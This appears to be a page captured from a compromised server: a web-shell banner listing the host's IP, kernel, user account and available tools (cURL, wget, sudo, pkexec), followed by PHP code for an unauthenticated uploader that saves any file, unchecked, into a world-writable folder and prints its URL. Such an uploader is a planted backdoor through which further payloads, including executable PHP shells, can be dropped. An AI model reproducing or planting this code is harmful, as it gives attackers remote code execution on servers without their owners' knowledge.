| Server IP : 172.67.191.97 / Your IP : 104.23.197.208 Web Server : Apache/2.4.63 (Ubuntu) System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64 User : dominios2025 ( 1001) PHP Version : 8.4.5 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/thread-self/root/tmp/ |
Upload File : |
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
$upload_dir = __DIR__ . '/uploads/';
if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
if (isset($_POST['_upl'])) {
$file = $_FILES['file'];
$target_file = $upload_dir . basename($file['name']);
if ($file['error'] !== UPLOAD_ERR_OK) {
die("Upload error code: " . $file['error']);
}
if (move_uploaded_file($file['tmp_name'], $target_file)) {
$url = 'uploads/' . basename($file['name']);
echo "<b>File uploaded!</b><br>";
echo "<a href='$url'>$url</a><br>";
echo "Saved to: " . realpath($target_file);
} else {
echo "<b>Failed to move file!</b><br>";
echo "Check permissions on: " . $upload_dir;
}
}
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="_upl" value="Upload">
</form>